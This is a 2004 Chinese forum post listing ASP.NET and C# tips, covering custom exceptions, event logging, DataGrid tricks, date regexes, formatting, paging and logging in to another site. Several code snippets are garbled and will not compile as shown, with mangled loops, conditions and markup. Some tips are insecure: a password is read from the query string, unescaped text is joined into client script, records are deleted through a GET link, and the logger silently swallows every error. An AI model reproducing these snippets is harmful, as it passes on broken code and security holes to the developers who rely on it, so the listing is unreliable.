Cookie.Expires=[DateTime]; Response.Cookies("UserName").Expires = 0   11.自定义异常处理 //自定义异常处理类 using System; using System.Diagnostics; namespace MyAppException {  ///  /// 从系统异常类ApplicationException继承的应用程序异常处理类。  /// 自动将异常内容记录到Windows NT/2000的应用程序日志  ///  public class AppException:System.ApplicationException  {   public AppException()   {    if (ApplicationConfiguration.EventLogEnabled)LogEvent("出现一未知错误。");   }  public AppException(string message)  {   LogEvent(message);  }  public AppException(string message,Exception innerException)  {   LogEvent(message);   if (innerException != null)   {    LogEvent(innerException.Message);   }  }  //日志记录类  using System;  using System.Configuration;  using System.Diagnostics;  using System.IO;  using System.Text;  using System.Threading;  namespace MyEventLog  {   ///   /// 事件日志记录类,提供事件日志记录支持   ///   /// 定义了4日志记录方法 (error, warning, info, trace)   ///   ///   public class ApplicationLog   {    ///    /// 将错误信息记录到Win2000/NT事件日志    /// 需要记录的文本信息    ///    public static void WriteError(String message)    {     WriteLog(TraceLevel.Error, message);    }    ///    /// 将警告信息记录到Win2000/NT事件日志    /// 需要记录的文本信息    ///    public static void WriteWarning(String message)    {     WriteLog(TraceLevel.Warning, message);      }    ///    /// 将提示信息记录到Win2000/NT事件日志    /// 需要记录的文本信息    ///    public static void WriteInfo(String message)    {     WriteLog(TraceLevel.Info, message);    }    ///    /// 将跟踪信息记录到Win2000/NT事件日志    /// 需要记录的文本信息    ///    public static void WriteTrace(String message)    {     WriteLog(TraceLevel.Verbose, message);    }    ///    /// 格式化记录到事件日志的文本信息格式    /// 需要格式化的异常对象    /// 异常信息标题符串.    ///    /// 格式后的异常信息符串,包括异常内容和跟踪堆栈.    ///    ///    public static String FormatException(Exception ex, String catchInfo)    {     StringBuilder strBuilder = new StringBuilder();     if (catchInfo != String.Empty)     {      strBuilder.Append(catchInfo).Append("\r\n");     }     strBuilder.Append(ex.Message).Append("\r\n").Append(ex.StackTrace);     return strBuilder.ToString();    }    ///    /// 实际事件日志写入方法    /// 要记录信息的级别(error,warning,info,trace).    /// 要记录的文本.    ///    private static void WriteLog(TraceLevel level, String messageText)    {     try     {      EventLogEntryType LogEntryType;      switch (level)      {       case TraceLevel.Error:        LogEntryType = EventLogEntryType.Error;        break;       case TraceLevel.Warning:        LogEntryType = EventLogEntryType.Warning;        break;       case TraceLevel.Info:        LogEntryType = EventLogEntryType.Information;        break;       case TraceLevel.Verbose:        LogEntryType = EventLogEntryType.SuccessAudit;        break;       default:        LogEntryType = EventLogEntryType.SuccessAudit;        break;      }      EventLog eventLog = new EventLog("Application", ApplicationConfiguration.EventLogMachineName, ApplicationConfiguration.EventLogSourceName );      //写入事件日志      eventLog.WriteEntry(messageText, LogEntryType);     }    catch {} //忽略任何异常   }  } //class ApplicationLog }   12.Panel 横向滚动,纵向自动扩展   13.回车转换成Tab  if (event.keyCode==13 && event.srcElement.type!=’button’ && event.srcElement.type! =submit’ &&     event.srcElement.type!=’reset’ && event.srcElement.type!=’’&& event.srcElement.type!=’textarea’);    event.keyCode=9; onkeydown="if(event.keyCode==13) event.keyCode=9"   14.DataGrid超级连接列 DataNavigateUrlField="名" DataNavigateUrlFormatString="http://xx/inc/delete.aspx?ID={0}"   15.DataGrid行随鼠标变色 private void DGzf_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e) {  if (e.Item.ItemType!=ListItemType.Header)  {   e.Item.Attributes.Add( "onmouseout","this.style.backgroundColor=\""+e.Item.Style["BACKGROUND-COLOR"]+"\"");   e.Item.Attributes.Add( "onmouseover","this.style.backgroundColor=\""+ "#EFF3F7"+"\"");  } }   16.模板列 =’’ runat="server" width="80%" id="lblColumn" />   后台代码 protected void CheckAll_CheckedChanged(object sender, System.EventArgs e) {  //改变列的选定,实现全选或全不选。  CheckBox chkExport ;  if( CheckAll.Checked)  {   foreach(DataGridItem oDataGridItem in MyDataGrid.Items)   {    chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");    chkExport.Checked = true;   }  }  else  {   foreach(DataGridItem oDataGridItem in MyDataGrid.Items)   {    chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");    chkExport.Checked = false;   }  } }   17.数格式化   【的结果是500.0000,怎样格式化为500.00?】 int i=123456; string s=i.ToString("###,###.00");   18.日期格式化   【aspx页面内:   显示为: 2004-8-11 19:44:28   我只想要:2004-8-11 】   应该如何改?   【格式化日期】   取出来,一般是 object((DateTime)objectFromDB).ToString("yyyy-MM-dd");   【日期的验证表达式】   A.以下正确的输入格式: [2004-2-29], [2004-02-29 10:29:39 pm], [2004/12/31] ^((\d{2}(([02468][048])|([13579][26]))[\-\/\s]?((((0?[13578])|(1[02]))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(3[01])))|(((0?[469])|(11))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(30)))|(0?2[\-\/\s]?((0?[1-9])|([1-2][0-9])))))|(\d{2}(([02468][1235679])|([13579][01345789]))[\-\/\s]?((((0?[13578])|(1[02]))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(3[01])))|(((0?[469])|(11))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(30)))|(0?2[\-\/\s]?((0?[1-9])|(1[0-9])|(2[0-8]))))))(\s(((0?[1-9])|(1[0-2]))\:([0-5][0-9])((\s)|(\:([0-5][0-9])\s))([AM|PM|am|pm]{2,2})))?$   B.以下正确的输入格式:[0001-12-31], [9999 09 30], [2002/03/03] ^\d{4}[\-\/\s]?((((0[13578])|(1[02]))[\-\/\s]?(([0-2][0-9])|(3[01])))|(((0[469])|(11))[\-\/\s]?(([0-2][0-9])|(30)))|(02[\-\/\s]?[0-2][0-9]))$   【大小写转换】 HttpUtility.HtmlEncode(string); HttpUtility.HtmlDecode(string)   19.如何设定全局变量   Global.asax   Application_Start()事件   添加Application[属性名] = xxx;   是你的全局变量   20.怎样作到HyperLinkColumn生成的连接后,点击连接,打开新窗口?   HyperLinkColumn有属性Target,将器值设置成"_blank"即可.(Target="_blank")   【ASPNETMENU】点击菜单项弹出新窗口   在你的menuData.xml文件的菜单项加入URLTarget="_blank",如: ......   最好将你的aspnetmenu升级到1.2版   21.读取DataGrid控件TextBox值 foreach(DataGrid dgi in yourDataGrid.Items) {  TextBox tb = (TextBox)dgi.FindControl("yourTextBoxId");  tb.Text.... }   23.在DataGrid有3模板列包含Textbox分别为 DG_ShuLiang (数量) DG_DanJian(单价) DG_JinE (金额)分别在5.6.7列,要求在录入数量及单价的时候自动算出金额即:数量*单价=金额还要求录入时限制为 数值型.我如何用客户端脚本实现这功能?   〖思归〗 ="ShuLiang" runat=’server’ Text=’’ onkeyup="javascript:DoCal()" /> ="DanJian" runat=’server’ Text=’’ onkeyup="javascript:DoCal()" /> ="JinE" runat=’server’ Text=’’ /> function DoCal() {  var e = event.srcElement;  var row = e.parentNode.parentNode;  var txts = row.all.tags("INPUT");  if (!txts.length || txts.length < 3)   return;  var q = txts[txts.length-3].value;  var p = txts[txts.length-2].value;  if (isNaN(q) || isNaN(p))   return;  q = parseInt(q);  p = parseFloat(p);  txts[txts.length-1].value = (q * p).toFixed(2); }   24.datagrid选定比较底下的行时,为什么总是刷新一下,然后滚动到了最上面,刚才选定的行因屏幕的关系看不到了。 page_load page.smartNavigation=true   25.在Datagrid修改数据,当点击编辑键时,数据出现在文本框,怎么控制文本框的大小 ? private void DataGrid1_ItemDataBound(obj sender,DataGridItemEventArgs e) {  for(int i=0;i==ListItemType.EditType)   {    e.Item.Cells[i].Attributes.Add("Width", "80px")   } }   26.对话框 private static string ScriptBegin = ""; private static string ScriptEnd = ""; public static void ConfirmMessageBox(string PageTarget,string Content) {  string ConfirmContent="var retValue=window.confirm(’"+Content+"’);"+"if(retValue){window.location=’"+PageTarget+"’;}";  ConfirmContent=ScriptBegin + ConfirmContent + ScriptEnd;  Page ParameterPage = (Page)System.Web.HttpContext.Current.Handler;  ParameterPage.RegisterStartupScript("confirm",ConfirmContent);  //Response.Write(strScript); }   27. 将时间格式化:string aa=DateTime.Now.ToString("yyyy年MM月dd日");   1.1 取当前年月日时分秒 currentTime=System.DateTime.Now;   1.2 取当前年 int 年= DateTime.Now.Year;   1.3 取当前月 int 月= DateTime.Now.Month;   1.4 取当前日 int 日= DateTime.Now.Day;   1.5 取当前时 int 时= DateTime.Now.Hour;   1.6 取当前分 int 分= DateTime.Now.Minute;   1.7 取当前秒 int 秒= DateTime.Now.Second;   1.8 取当前毫秒 int 毫秒= DateTime.Now.Millisecond;   28.自定义分页代码:   先定义变量 : public static int pageCount; //总页面数 public static int curPageIndex=1; //当前页面   下一页: if(DataGrid1.CurrentPageIndex 0) {  DataGrid1.CurrentPageIndex += 1;  curPageIndex-=1; } bind(); // DataGrid1数据绑定函数   直接页面跳转: int a=int.Parse(JumpPage.Value.Trim());//JumpPage.Value.Trim()为跳转值 if(a=a; } bind();   29.DataGrid使用:   添加删除确认: private void DataGrid1_ItemCreated(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e) {  foreach(DataGridItem di in this.DataGrid1.Items)  {   if(di.ItemType==ListItemType.Item||di.ItemType==ListItemType.AlternatingItem)   {    ((LinkButton)di.Cells[8].Controls[0]).Attributes.Add("onclick","return confirm(’确认删除此项吗?’);");   }  } }   样式交替: ListItemType itemType = e.Item.ItemType; if (itemType == ListItemType.Item ) {  e.Item.Attributes["onmouseout"] = "javascript:this.style.backgroundColor=’#FFFFFF’;";  e.Item.Attributes["onmouseover"] = "javascript:this.style.backgroundColor=’#d9ece1’;cursor=’hand’;" ; } else if( itemType == ListItemType.AlternatingItem) {  e.Item.Attributes["onmouseout"] = "javascript:this.style.backgroundColor=’#a0d7c4’;";  e.Item.Attributes["onmouseover"] = "javascript:this.style.backgroundColor=’#d9ece1’;cursor=’hand’;" ; }   添加一编号列: DataTable dt= c.ExecuteRtnTableForAccess(sqltxt); //执行sql返回的DataTable DataColumn dc=dt.Columns.Add("number",System.Type.GetType("System.String")); for(int i=0;i=(i+1).ToString(); } DataGrid1.DataSource=dt; DataGrid1.DataBind();   DataGrid1添加一CheckBox,页面添加一全选框 private void CheckBox2_CheckedChanged(object sender, System.EventArgs e) {  foreach(DataGridItem thisitem in DataGrid1.Items)  {   ((CheckBox)thisitem.Cells[0].Controls[1]).Checked=CheckBox2.Checked;  } }   将当前页面DataGrid1显示的数据全部删除 foreach(DataGridItem thisitem in DataGrid1.Items) {  if(((CheckBox)thisitem.Cells[0].Controls[1]).Checked)  {   string strloginid= DataGrid1.DataKeys[thisitem.ItemIndex].ToString();   Del (strloginid); //删除函数  } }   30.当文件在不同目录下,需要获取数据库连接符串(如果连接符串放在Web.config,然后在Global.asax初始化)   在Application_Start添加以下代码: Application["ConnStr"]=this.Context.Request.PhysicalApplicationPath+ConfigurationSettings.    AppSettings["ConnStr"].ToString();   31. 变量.ToString()   符型转换 转为符串 12345.ToString("n"); //生成 12,345.00 12345.ToString("C"); //生成 ¥12,345.00 12345.ToString("e"); //生成 1.234500e+004 12345.ToString("f4"); //生成 12345.0000 12345.ToString("x"); //生成 3039 (16进制) 12345.ToString("p"); //生成 1,234,500.00%   32、变量.Substring(参数1,参数2);   截取串的一部分,参数1为左起始位数,参数2为截取几位。 如:string s1 = str.Substring(0,2);   33.在自己的网站上登陆其他网站:(如果你的页面是通过嵌套方式的话,因为一页面只能有一FORM,这时可以导向另外一页面再提交登陆信息)   文本框的名称必须是你要登陆的网页上的名称,如果源码不行可以用vsniffer 看看。   下面是获取用户输入的登陆信息的代码: string name; name=Request.QueryString["EmailName"]; try {  int a=name.IndexOf("@",0,name.Length);  f_user.Value=name.Substring(0,a);  f_domain.Value=name.Substring(a+1,name.Length-(a+1));  f_pass.Value=Request.QueryString["Psw"]; } catch {  Script.Alert("错误的邮箱!");  Server.Transfer("index.aspx"); }
发帖
Web 开发

8.0w+

社区成员

Java Web 开发
社区管理员
  • Web 开发社区
加入社区
帖子事件
创建了帖子
2004-10-11 07:05
社区公告
暂无公告